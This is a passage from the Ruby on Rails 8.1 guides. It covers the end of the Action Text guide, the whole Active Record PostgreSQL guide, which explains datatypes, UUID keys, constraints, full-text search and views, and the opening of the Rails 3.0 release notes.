There's no need to add the `content` column to your Article table. `has_rich_text` associates the content with the `action_text_rich_texts` table that has been created, and links it back to your model. You also may choose to name the attribute to be something different from `content`.

Once you have added the `has_rich_text` class method to the model, you can then update your views to make use of the rich text editor (Trix) for that field. To do so, use a [`rich_textarea`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea) for the form field.

```
<%# app/views/articles/_form.html.erb %>
<%= form_with model: article do |form| %>
  <div class="field">
    <%= form.label :content %>
    <%= form.rich_textarea :content %>
  </div>
<% end %>
```

This will display a Trix editor that provides the functionality to create and update your rich text accordingly. Later we'll go into details about [how to update the styles for the editor](action_text_overview.html#removing-or-adding-trix-styles).

Finally, to ensure that you can accept updates from the editor, you will need to permit the referenced attribute as a parameter in the relevant controller:

```
class ArticlesController < ApplicationController
  def create
    article = Article.create! params.expect(article: [:title, :content])
    redirect_to article
  end
end
```

If the need arises to rename classes that utilize `has_rich_text`, you will also need to update the polymorphic type column `record_type` in the `action_text_rich_texts` table for the respective rows.

Since Action Text depends on polymorphic associations, which, in turn, involve storing class names in the database, it's crucial to keep the data in sync with the class names used in your Ruby code. This synchronization is essential to maintain consistency between the stored data and the class references in your codebase.

## [4. Rendering Rich Text Content](#rendering-rich-text-content)

Instances of `ActionText::RichText` can be directly embedded into a page because they have already sanitized their content for a safe render. You can display the content as follows:

```
<%= @article.content %>
```

`ActionText::RichText#to_s` safely transforms RichText into an HTML String. On the other hand `ActionText::RichText#to_plain_text` returns a string that is not HTML safe and should not be rendered in browsers without additional sanitization. You can learn more about Action Text's sanitization process in the [`ActionText::RichText` documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionText/RichText.html).

If there's an attached resource within `content` field, it might not show properly unless you have the necessary [dependencies for Active Storage](active_storage_overview.html#requirements) installed.

## [5. Customizing the Rich Text Content Editor (Trix)](#customizing-the-rich-text-content-editor-trix)

There may be times when you want to update the presentation of the editor to meet your stylistic requirements, this section guides on how to do that.

### [5.1. Removing or Adding Trix Styles](#removing-or-adding-trix-styles)

By default, Action Text will render rich text content inside an element with the `.trix-content` class. This is set in `app/views/layouts/action_text/contents/_content.html.erb`. Elements with this class are then styled by the trix stylesheet.

If you’d like to update any of the trix styles, you can add your custom styles in `app/assets/stylesheets/actiontext.css`, which includes both the full set of styles for Trix and the overrides needed for Action Text.

### [5.2. Customizing the Editor Container](#customizing-the-editor-container)

To customize the HTML container element that's rendered around rich text content, edit the `app/views/layouts/action_text/contents/_content.html.erb` layout file created by the installer:

```
<%# app/views/layouts/action_text/contents/_content.html.erb %>
<div class="trix-content">
  <%= yield %>
</div>
```

### [5.3. Customizing HTML for Embedded Images and Attachments](#customizing-html-for-embedded-images-and-attachments)

To customize the HTML rendered for embedded images and other attachments (known as blobs), edit the `app/views/active_storage/blobs/_blob.html.erb` template created by the installer:

```
<%# app/views/active_storage/blobs/_blob.html.erb %>
<figure class="attachment attachment--<%= blob.representable? ? "preview" : "file" %> attachment--<%= blob.filename.extension %>">
  <% if blob.representable? %>
    <%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %>
  <% end %>

  <figcaption class="attachment__caption">
    <% if caption = blob.try(:caption) %>
      <%= caption %>
    <% else %>
      <span class="attachment__name"><%= blob.filename %></span>
      <span class="attachment__size"><%= number_to_human_size blob.byte_size %></span>
    <% end %>
  </figcaption>
</figure>
```

## [6. Attachments](#attachments)

Currently, Action Text supports attachments that are uploaded through Active Storage as well as attachments that are linked to a Signed GlobalID.

### [6.1. Active Storage](#active-storage)

When uploading an image within your rich text editor, it uses Action Text which in turn uses Active Storage. However, [Active Storage has some dependencies](active_storage_overview.html#requirements) which are not provided by Rails. To use the built-in previewers, you must install these libraries.

Some, but not all of these libraries are required and they are dependent on the kind of uploads you are expecting within the editor. A common error that users encounter when working with Action Text and Active Storage is that images do not render correctly in the editor. This is usually due to the `libvips` dependency not being installed.

#### [6.1.1. Attachment Direct Upload JavaScript Events](#attachment-direct-upload-javascript-events)

Action Text dispatches [Active Storage Direct Upload Events](active_storage_overview.html#direct-upload-javascript-events) during the File attachment lifecycle.

In addition to the typical `event.detail` properties, Action Text also dispatches events with an [`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file) property.

| Event name               | Event target | Event data (`event.detail`) | Description                                                               |
| ------------------------ | ------------ | --------------------------- | ------------------------------------------------------------------------- |
| `direct-upload:start`    | `<input>`    | `{id, file}`                | A direct upload is starting.                                              |
| `direct-upload:progress` | `<input>`    | `{id, file, progress}`      | As requests to store files progress.                                      |
| `direct-upload:error`    | `<input>`    | `{id, file, error}`         | An error occurred. An `alert` will display unless this event is canceled. |
| `direct-upload:end`      | `<input>`    | `{id, file}`                | A direct upload has ended.                                                |

It is possible for files uploaded by Action Text through [Active Storage Direct Uploads](active_storage_overview.html#direct-uploads) to never be embedded within rich text content. Consider [purging unattached uploads](active_storage_overview.html#purging-unattached-uploads) regularly.

### [6.2. Signed GlobalID](#signed-globalid)

In addition to attachments uploaded through Active Storage, Action Text can also embed anything that can be resolved by a [Signed GlobalID](https://github.com/rails/globalid#signed-global-ids).

A Global ID is an app-wide URI that uniquely identifies a model instance: `gid://YourApp/Some::Model/id`. This is helpful when you need a single identifier to reference different classes of objects.

When using this method, Action Text requires attachments to have a signed global ID (sgid). By default, all Active Record models in a Rails app mix in the `GlobalID::Identification` concern, so they can be resolved by a signed global ID and are therefore `ActionText::Attachable` compatible.

Action Text references the HTML you insert on save so that it can re-render with up-to-date content later on. This makes it so that you can reference models and always display the current content when those records change.

Action Text will load up the model from the global ID and then render it with the default partial path when you render the content.

An Action Text Attachment can look like this:

```
<action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>
```

Action Text renders embedded `<action-text-attachment>` elements by resolving their sgid attribute of the element into an instance. Once resolved, that instance is passed along to a render helper. As a result, the HTML is embedded as a descendant of the `<action-text-attachment>` element.

To be rendered within Action Text `<action-text-attachment>` element as an attachment, we must include the `ActionText::Attachable` module, which implements `#to_sgid(**options)` (made available through the `GlobalID::Identification` concern).

You can also optionally declare `#to_attachable_partial_path` to render a custom partial path and `#to_missing_attachable_partial_path` for handling missing records.

An example can be found here:

```
class Person < ApplicationRecord
  include ActionText::Attachable
end

person = Person.create! name: "Javan"
html = %Q(<action-text-attachment sgid="#{person.attachable_sgid}"></action-text-attachment>)
content = ActionText::Content.new(html)
content.attachables # => [person]
```

### [6.3. Rendering an Action Text Attachment](#rendering-an-action-text-attachment)

The default way that an `<action-text-attachment>` is rendered is through the default path partial.

To illustrate this further, let’s consider a User model:

```
# app/models/user.rb
class User < ApplicationRecord
  has_one_attached :avatar
end

user = User.find(1)
user.to_global_id.to_s #=> gid://MyRailsApp/User/1
user.to_signed_global_id.to_s #=> BAh7CEkiCG…
```

We can mix `GlobalID::Identification` into any model with a `.find(id)` class method. Support is automatically included in Active Record.

The above code will return our identifier to uniquely identify a model instance.

Next, consider some rich text content that embeds an `<action-text-attachment>` element that references the User instance's signed GlobalID:

```
<p>Hello, <action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>.</p>
```

Action Text uses the "BAh7CEkiCG…" String to resolve the User instance. It then renders it with the default partial path when you render the content.

In this case, the default partial path is the `users/user` partial:

```
<%# app/views/users/_user.html.erb %>
<span><%= image_tag user.avatar %> <%= user.name %></span>
```

Hence, the resulting HTML rendered by Action Text would look something like:

```
<p>Hello, <action-text-attachment sgid="BAh7CEkiCG…"><span><img src="..."> Jane Doe</span></action-text-attachment>.</p>
```

### [6.4. Rendering a Different Partial for the action-text-attachment](#rendering-a-different-partial-for-the-action-text-attachment)

To render a different partial for the attachable, define `User#to_attachable_partial_path`:

```
class User < ApplicationRecord
  def to_attachable_partial_path
    "users/attachable"
  end
end
```

Then declare that partial. The User instance will be available as the user partial-local variable:

```
<%# app/views/users/_attachable.html.erb %>
<span><%= image_tag user.avatar %> <%= user.name %></span>
```

### [6.5. Rendering a Partial for an Unresolved Instance or Missing action-text-attachment](#rendering-a-partial-for-an-unresolved-instance-or-missing-action-text-attachment)

If Action Text is unable to resolve the User instance (for example, if the record has been deleted), then a default fallback partial will be rendered.

To render a different missing attachment partial, define a class-level `to_missing_attachable_partial_path` method:

```
class User < ApplicationRecord
  def self.to_missing_attachable_partial_path
    "users/missing_attachable"
  end
end
```

Then declare that partial.

```
<%# app/views/users/missing_attachable.html.erb %>
<span>Deleted user</span>
```

### [6.6. Attachable via API](#attachable-via-api)

If your architecture does not follow the traditional Rails server-side rendered pattern, then you may perhaps find yourself with a backend API (for example, using JSON) that will need a separate endpoint for uploading files. The endpoint will be required to create an `ActiveStorage::Blob` and return its `attachable_sgid`:

```
{
  "attachable_sgid": "BAh7CEkiCG…"
}
```

Thereafter, you can take the `attachable_sgid` and insert it in rich text content within your frontend code using the `<action-text-attachment>` tag:

```
<action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>
```

## [7. Miscellaneous](#miscellaneous)

### [7.1. Avoiding N+1 Queries](#avoiding-n-1-queries)

If you wish to preload the dependent `ActionText::RichText` model, assuming your rich text field is named `content`, you can use the named scope:

```
Article.all.with_rich_text_content # Preload the body without attachments.
Article.all.with_rich_text_content_and_embeds # Preload both body and attachments.
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_postgresql.html
----

***

In order to use the PostgreSQL adapter you need to have at least version 9.5 installed. Older versions are not supported.

To get started with PostgreSQL have a look at the [configuring Rails guide](configuring.html#configuring-a-postgresql-database). It describes how to properly set up Active Record for PostgreSQL.

## [1. Datatypes](#datatypes)

PostgreSQL offers a number of specific datatypes. Following is a list of types, that are supported by the PostgreSQL adapter.

### [1.1. Bytea](#bytea)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-binary.html)
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-binarystring.html)

```
# db/migrate/20140207133952_create_documents.rb
create_table :documents do |t|
  t.binary "payload"
end
```

```
# app/models/document.rb
class Document < ApplicationRecord
end
```

```
# Usage
data = File.read(Rails.root + "tmp/output.pdf")
Document.create payload: data
```

### [1.2. Array](#array)

* [type definition](https://www.postgresql.org/docs/current/static/arrays.html)
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-array.html)

```
# db/migrate/20140207133952_create_books.rb
create_table :books do |t|
  t.string "title"
  t.string "tags", array: true
  t.integer "ratings", array: true
end
add_index :books, :tags, using: "gin"
add_index :books, :ratings, using: "gin"
```

```
# app/models/book.rb
class Book < ApplicationRecord
end
```

```
# Usage
Book.create title: "Brave New World",
            tags: ["fantasy", "fiction"],
            ratings: [4, 5]

## Books for a single tag
Book.where("'fantasy' = ANY (tags)")

## Books for multiple tags
Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])

## Books with 3 or more ratings
Book.where("array_length(ratings, 1) >= 3")
```

### [1.3. Hstore](#hstore)

* [type definition](https://www.postgresql.org/docs/current/static/hstore.html)
* [functions and operators](https://www.postgresql.org/docs/current/static/hstore.html#id-1.11.7.26.5)

You need to enable the `hstore` extension to use hstore.

```
# db/migrate/20131009135255_create_profiles.rb
class CreateProfiles < ActiveRecord::Migration[8.1]
  enable_extension "hstore" unless extension_enabled?("hstore")
  create_table :profiles do |t|
    t.hstore "settings"
  end
end
```

```
# app/models/profile.rb
class Profile < ApplicationRecord
end
```

```
irb> Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })

irb> profile = Profile.first
irb> profile.settings
=> {"color"=>"blue", "resolution"=>"800x600"}

irb> profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
irb> profile.save!

irb> Profile.where("settings->'color' = ?", "yellow")
=> #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>
```

### [1.4. JSON and JSONB](#json-and-jsonb)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-json.html)
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-json.html)

```
# db/migrate/20131220144913_create_events.rb
# ... for json datatype:
create_table :events do |t|
  t.json "payload"
end
# ... or for jsonb datatype:
create_table :events do |t|
  t.jsonb "payload"
end
```

```
# app/models/event.rb
class Event < ApplicationRecord
end
```

```
irb> Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})

irb> event = Event.first
irb> event.payload
=> {"kind"=>"user_renamed", "change"=>["jack", "john"]}

## Query based on JSON document
# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
irb> Event.where("payload->>'kind' = ?", "user_renamed")
```

### [1.5. Range Types](#range-types)

* [type definition](https://www.postgresql.org/docs/current/static/rangetypes.html)
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-range.html)

This type is mapped to Ruby [`Range`](https://docs.ruby-lang.org/en/master/Range.html) objects.

```
# db/migrate/20130923065404_create_events.rb
create_table :events do |t|
  t.daterange "duration"
end
```

```
# app/models/event.rb
class Event < ApplicationRecord
end
```

```
irb> Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))

irb> event = Event.first
irb> event.duration
=> Tue, 11 Feb 2014...Thu, 13 Feb 2014

## All Events on a given date
irb> Event.where("duration @> ?::date", Date.new(2014, 2, 12))

## Working with range bounds
irb> event = Event.select("lower(duration) AS starts_at").select("upper(duration) AS ends_at").first

irb> event.starts_at
=> Tue, 11 Feb 2014
irb> event.ends_at
=> Thu, 13 Feb 2014
```

### [1.6. Composite Types](#composite-types)

* [type definition](https://www.postgresql.org/docs/current/static/rowtypes.html)

Currently there is no special support for composite types. They are mapped to normal text columns:

```
CREATE TYPE full_address AS
(
  city VARCHAR(90),
  street VARCHAR(90)
);
```

```
# db/migrate/20140207133952_create_contacts.rb
execute <<-SQL
  CREATE TYPE full_address AS
  (
    city VARCHAR(90),
    street VARCHAR(90)
  );
SQL
create_table :contacts do |t|
  t.column :address, :full_address
end
```

```
# app/models/contact.rb
class Contact < ApplicationRecord
end
```

```
irb> Contact.create address: "(Paris,Champs-Élysées)"
irb> contact = Contact.first
irb> contact.address
=> "(Paris,Champs-Élysées)"
irb> contact.address = "(Paris,Rue Basse)"
irb> contact.save!
```

### [1.7. Enumerated Types](#enumerated-types)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-enum.html)

The type can be mapped as a normal text column, or to an [`ActiveRecord::Enum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Enum.html).

```
# db/migrate/20131220144913_create_articles.rb
def change
  create_enum :article_status, ["draft", "published", "archived"]

  create_table :articles do |t|
    t.enum :status, enum_type: :article_status, default: "draft", null: false
  end
end
```

You can also create an enum type and add an enum column to an existing table:

```
# db/migrate/20230113024409_add_status_to_articles.rb
def change
  create_enum :article_status, ["draft", "published", "archived"]

  add_column :articles, :status, :enum, enum_type: :article_status, default: "draft", null: false
end
```

The above migrations are both reversible, but you can define separate `#up` and `#down` methods if required. Make sure you remove any columns or tables that depend on the enum type before dropping it:

```
def down
  drop_table :articles

  # OR: remove_column :articles, :status
  drop_enum :article_status
end
```

Declaring an enum attribute in the model adds helper methods and prevents invalid values from being assigned to instances of the class:

```
# app/models/article.rb
class Article < ApplicationRecord
  enum :status, {
    draft: "draft", published: "published", archived: "archived"
  }, prefix: true
end
```

```
irb> article = Article.create
irb> article.status
=> "draft" # default status from PostgreSQL, as defined in migration above

irb> article.status_published!
irb> article.status
=> "published"

irb> article.status_archived?
=> false

irb> article.status = "deleted"
ArgumentError: 'deleted' is not a valid status
```

To rename the enum you can use `rename_enum` along with updating any model usage:

```
# db/migrate/20150718144917_rename_article_status.rb
def change
  rename_enum :article_status, :article_state
end
```

To add a new value you can use `add_enum_value`:

```
# db/migrate/20150720144913_add_new_state_to_articles.rb
def up
  add_enum_value :article_state, "archived" # will be at the end after published
  add_enum_value :article_state, "in review", before: "published"
  add_enum_value :article_state, "approved", after: "in review"
  add_enum_value :article_state, "rejected", if_not_exists: true # won't raise an error if the value already exists
end
```

Enum values can't be dropped, which also means add\_enum\_value is irreversible. You can read why [here](https://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com).

To rename a value you can use `rename_enum_value`:

```
# db/migrate/20150722144915_rename_article_state.rb
def change
  rename_enum_value :article_state, from: "archived", to: "deleted"
end
```

Hint: to show all the values of the all enums you have, you can call this query in `bin/rails db` or `psql` console:

```
SELECT n.nspname AS enum_schema,
       t.typname AS enum_name,
       e.enumlabel AS enum_value
  FROM pg_type t
      JOIN pg_enum e ON t.oid = e.enumtypid
      JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace
```

### [1.8. UUID](#uuid)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-uuid.html)
* [pgcrypto generator function](https://www.postgresql.org/docs/current/static/pgcrypto.html)
* [uuid-ossp generator functions](https://www.postgresql.org/docs/current/static/uuid-ossp.html)

If you're using PostgreSQL earlier than version 13.0 you may need to enable special extensions to use UUIDs. Enable the `pgcrypto` extension (PostgreSQL >= 9.4) or `uuid-ossp` extension (for even earlier releases).

```
# db/migrate/20131220144913_create_revisions.rb
create_table :revisions do |t|
  t.uuid :identifier
end
```

```
# app/models/revision.rb
class Revision < ApplicationRecord
end
```

```
irb> Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"

irb> revision = Revision.first
irb> revision.identifier
=> "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
```

You can use `uuid` type to define references in migrations:

```
# db/migrate/20150418012400_create_blog.rb
enable_extension "pgcrypto" unless extension_enabled?("pgcrypto")
create_table :posts, id: :uuid

create_table :comments, id: :uuid do |t|
  # t.belongs_to :post, type: :uuid
  t.references :post, type: :uuid
end
```

```
# app/models/post.rb
class Post < ApplicationRecord
  has_many :comments
end
```

```
# app/models/comment.rb
class Comment < ApplicationRecord
  belongs_to :post
end
```

See [this section](#uuid-primary-keys) for more details on using UUIDs as primary key.

### [1.9. Bit String Types](#bit-string-types)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-bit.html)
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-bitstring.html)

```
# db/migrate/20131220144913_create_users.rb
create_table :users, force: true do |t|
  t.column :settings, "bit(8)"
end
```

```
# app/models/user.rb
class User < ApplicationRecord
end
```

```
irb> User.create settings: "01010011"
irb> user = User.first
irb> user.settings
=> "01010011"
irb> user.settings = "0xAF"
irb> user.settings
=> "10101111"
irb> user.save!
```

### [1.10. Network Address Types](#network-address-types)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-net-types.html)

The types `inet` and `cidr` are mapped to Ruby [`IPAddr`](https://docs.ruby-lang.org/en/master/IPAddr.html) objects. The `macaddr` type is mapped to normal text.

```
# db/migrate/20140508144913_create_devices.rb
create_table(:devices, force: true) do |t|
  t.inet "ip"
  t.cidr "network"
  t.macaddr "address"
end
```

```
# app/models/device.rb
class Device < ApplicationRecord
end
```

```
irb> macbook = Device.create(ip: "192.168.1.12", network: "192.168.2.0/24", address: "32:01:16:6d:05:ef")

irb> macbook.ip
=> #<IPAddr: IPv4:192.168.1.12/255.255.255.255>

irb> macbook.network
=> #<IPAddr: IPv4:192.168.2.0/255.255.255.0>

irb> macbook.address
=> "32:01:16:6d:05:ef"
```

### [1.11. Geometric Types](#geometric-types)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-geometric.html)

All geometric types, with the exception of `points` are mapped to normal text. A point is cast to an array containing `x` and `y` coordinates.

### [1.12. Interval](#interval)

* [type definition](https://www.postgresql.org/docs/current/static/datatype-datetime.html#DATATYPE-INTERVAL-INPUT)
* [functions and operators](https://www.postgresql.org/docs/current/static/functions-datetime.html)

This type is mapped to [`ActiveSupport::Duration`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html) objects.

```
# db/migrate/20200120000000_create_events.rb
create_table :events do |t|
  t.interval "duration"
end
```

```
# app/models/event.rb
class Event < ApplicationRecord
end
```

```
irb> Event.create(duration: 2.days)

irb> event = Event.first
irb> event.duration
=> 2 days
```

### [1.13. Timestamps](#timestamps)

* [Date/Time Types](https://www.postgresql.org/docs/current/datatype-datetime.html)

Rails migrations with timestamps store the time a model was created or updated. By default and for legacy reasons, the columns use the `timestamp without time zone` data type.

```
# db/migrate/20241220144913_create_devices.rb
create_table :posts, id: :uuid do |t|
  t.datetime :published_at
  # By default, Active Record will set the data type of this column to `timestamp without time zone`.
end
```

While this works ok, [PostgreSQL best practices](https://wiki.postgresql.org/wiki/Don't_Do_This#Don.27t_use_timestamp_.28without_time_zone.29) recommend that `timestamp with time zone` is used instead for timezone-aware timestamps. This must be configured before it can be used for new migrations.

To configure `timestamp with time zone` as your new timestamp default data type, place the following configuration in the `config/application.rb` file.

```
# config/application.rb
ActiveSupport.on_load(:active_record_postgresqladapter) do
  self.datetime_type = :timestamptz
end
```

With that configuration in place, generate and apply new migrations, then verify their timestamps use the `timestamp with time zone` data type.

## [2. UUID Primary Keys](#uuid-primary-keys)

You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp` extension to generate random UUIDs.

```
# db/migrate/20131220144913_create_devices.rb
enable_extension "pgcrypto" unless extension_enabled?("pgcrypto")
create_table :devices, id: :uuid do |t|
  t.string :kind
end
```

```
# app/models/device.rb
class Device < ApplicationRecord
end
```

```
irb> device = Device.create
irb> device.id
=> "814865cd-5a1d-4771-9306-4268f188fe9e"
```

`gen_random_uuid()` (from `pgcrypto`) is assumed if no `:default` option was passed to `create_table`.

To use the Rails model generator for a table using UUID as the primary key, pass `--primary-key-type=uuid` to the model generator.

For example:

```
$ bin/rails generate model Device --primary-key-type=uuid kind:string
```

When building a model with a foreign key that will reference this UUID, treat `uuid` as the native field type, for example:

```
$ bin/rails generate model Case device_id:uuid
```

## [3. Indexing](#indexing)

* [index creation](https://www.postgresql.org/docs/current/sql-createindex.html)

PostgreSQL includes a variety of index options. The following options are supported by the PostgreSQL adapter in addition to the [common index options](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index)

### [3.1. Include](#include)

When creating a new index, non-key columns can be included with the `:include` option. These keys are not used in index scans for searching, but can be read during an index only scan without having to visit the associated table.

```
# db/migrate/20131220144913_add_index_users_on_email_include_id.rb

add_index :users, :email, include: :id
```

Multiple columns are supported:

```
# db/migrate/20131220144913_add_index_users_on_email_include_id_and_created_at.rb

add_index :users, :email, include: [:id, :created_at]
```

## [4. Generated Columns](#generated-columns)

Generated columns are supported since version 12.0 of PostgreSQL.

```
# db/migrate/20131220144913_create_users.rb
create_table :users do |t|
  t.string :name
  t.virtual :name_upcased, type: :string, as: "upper(name)", stored: true
end

# app/models/user.rb
class User < ApplicationRecord
end

# Usage
user = User.create(name: "John")
User.last.name_upcased # => "JOHN"
```

## [5. Deferrable Foreign Keys](#deferrable-foreign-keys)

* [foreign key table constraints](https://www.postgresql.org/docs/current/sql-set-constraints.html)

By default, table constraints in PostgreSQL are checked immediately after each statement. It intentionally does not allow creating records where the referenced record is not yet in the referenced table. It is possible to run this integrity check later on when the transaction is committed by adding `DEFERRABLE` to the foreign key definition though. To defer all checks by default it can be set to `DEFERRABLE INITIALLY DEFERRED`. Rails exposes this PostgreSQL feature by adding the `:deferrable` key to the `foreign_key` options in the `add_reference` and `add_foreign_key` methods.

One example of this is creating circular dependencies in a transaction even if you have created foreign keys:

```
add_reference :person, :alias, foreign_key: { deferrable: :deferred }
add_reference :alias, :person, foreign_key: { deferrable: :deferred }
```

If the reference was created with the `foreign_key: true` option, the following transaction would fail when executing the first `INSERT` statement. It does not fail when the `deferrable: :deferred` option is set though.

```
ActiveRecord::Base.lease_connection.transaction do
  person = Person.create(id: SecureRandom.uuid, alias_id: SecureRandom.uuid, name: "John Doe")
  Alias.create(id: person.alias_id, person_id: person.id, name: "jaydee")
end
```

When the `:deferrable` option is set to `:immediate`, let the foreign keys keep the default behavior of checking the constraint immediately, but allow manually deferring the checks using `set_constraints` within a transaction. This will cause the foreign keys to be checked when the transaction is committed:

```
ActiveRecord::Base.lease_connection.transaction do
  ActiveRecord::Base.lease_connection.set_constraints(:deferred)
  person = Person.create(alias_id: SecureRandom.uuid, name: "John Doe")
  Alias.create(id: person.alias_id, person_id: person.id, name: "jaydee")
end
```

By default `:deferrable` is `false` and the constraint is always checked immediately.

## [6. Unique Constraint](#unique-constraint)

* [unique constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-UNIQUE-CONSTRAINTS)

```
# db/migrate/20230422225213_create_items.rb
create_table :items do |t|
  t.integer :position, null: false
  t.unique_constraint [:position], deferrable: :immediate
end
```

If you want to change an existing unique index to deferrable, you can use `:using_index` to create deferrable unique constraints.

```
add_unique_constraint :items, deferrable: :deferred, using_index: "index_items_on_position"
```

Like foreign keys, unique constraints can be deferred by setting `:deferrable` to either `:immediate` or `:deferred`. By default, `:deferrable` is `false` and the constraint is always checked immediately.

## [7. Exclusion Constraints](#exclusion-constraints)

* [exclusion constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-EXCLUSION)

```
# db/migrate/20131220144913_create_products.rb
create_table :products do |t|
  t.integer :price, null: false
  t.daterange :availability_range, null: false

  t.exclusion_constraint "price WITH =, availability_range WITH &&", using: :gist, name: "price_check"
end
```

Like foreign keys, exclusion constraints can be deferred by setting `:deferrable` to either `:immediate` or `:deferred`. By default, `:deferrable` is `false` and the constraint is always checked immediately.

## [8. Full Text Search](#full-text-search)

```
# db/migrate/20131220144913_create_documents.rb
create_table :documents do |t|
  t.string :title
  t.string :body
end

add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: "documents_idx"
```

```
# app/models/document.rb
class Document < ApplicationRecord
end
```

```
# Usage
Document.create(title: "Cats and Dogs", body: "are nice!")

## all documents matching 'cat & dog'
Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
                 "cat & dog")
```

Optionally, you can store the vector as automatically generated column (from PostgreSQL 12.0):

```
# db/migrate/20131220144913_create_documents.rb
create_table :documents do |t|
  t.string :title
  t.string :body

  t.virtual :textsearchable_index_col,
            type: :tsvector, as: "to_tsvector('english', title || ' ' || body)", stored: true
end

add_index :documents, :textsearchable_index_col, using: :gin, name: "documents_idx"

# Usage
Document.create(title: "Cats and Dogs", body: "are nice!")

## all documents matching 'cat & dog'
Document.where("textsearchable_index_col @@ to_tsquery(?)", "cat & dog")
```

## [9. Database Views](#database-views)

* [view creation](https://www.postgresql.org/docs/current/static/sql-createview.html)

Imagine you need to work with a legacy database containing the following table:

```
rails_pg_guide=# \d "TBL_ART"
                                        Table "public.TBL_ART"
   Column   |            Type             |                         Modifiers
------------+-----------------------------+------------------------------------------------------------
 INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
 STR_TITLE  | character varying           |
 STR_STAT   | character varying           | default 'draft'::character varying
 DT_PUBL_AT | timestamp without time zone |
 BL_ARCH    | boolean                     | default false
Indexes:
    "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")
```

This table does not follow the Rails conventions at all. Because simple PostgreSQL views are updateable by default, we can wrap it as follows:

```
# db/migrate/20131220144913_create_articles_view.rb
execute <<-SQL
CREATE VIEW articles AS
  SELECT "INT_ID" AS id,
         "STR_TITLE" AS title,
         "STR_STAT" AS status,
         "DT_PUBL_AT" AS published_at,
         "BL_ARCH" AS archived
  FROM "TBL_ART"
  WHERE "BL_ARCH" = 'f'
SQL
```

```
# app/models/article.rb
class Article < ApplicationRecord
  self.primary_key = "id"
  def archive!
    update_attribute :archived, true
  end
end
```

```
irb> first = Article.create! title: "Winter is coming", status: "published", published_at: 1.year.ago
irb> second = Article.create! title: "Brace yourself", status: "draft", published_at: 1.month.ago

irb> Article.count
=> 2
irb> first.archive!
irb> Article.count
=> 1
```

This application only cares about non-archived `Articles`. A view also allows for conditions so we can exclude the archived `Articles` directly.

## [10. Structure Dumps](#structure-dumps)

If your `config.active_record.schema_format` is `:sql`, Rails will call `pg_dump` to generate a structure dump.

You can use `ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags` to configure `pg_dump`. For example, to exclude comments from your structure dump, add this to an initializer:

```
ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = ["--no-comments"]
```

## [11. Explain](#explain)

Along with the standard [`explain`](active_record_querying.html#explain-options) options, the PostgreSQL adapter supports [`buffers`](https://www.postgresql.org/docs/current/sql-explain.html).

```
Company.where(id: owning_companies_ids).explain(:analyze, :buffers)
#=> EXPLAIN (ANALYZE, BUFFERS) SELECT "companies".* FROM "companies"
# ...
# Seq Scan on companies  (cost=0.00..2.21 rows=3 width=64)
# ...
```

See their documentation for more details.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/3_0_release_notes.html
----

***

To install Rails 3:

```
# Use sudo if your setup requires it
$ gem install rails
```

## [1. Upgrading to Rails 3](#upgrading-to-rails-3)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:

### [1.1. Rails 3 requires at least Ruby 1.8.7](#rails-3-requires-at-least-ruby-1-8-7)

Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.

### [1.2. Rails Application object](#rails-application-object)

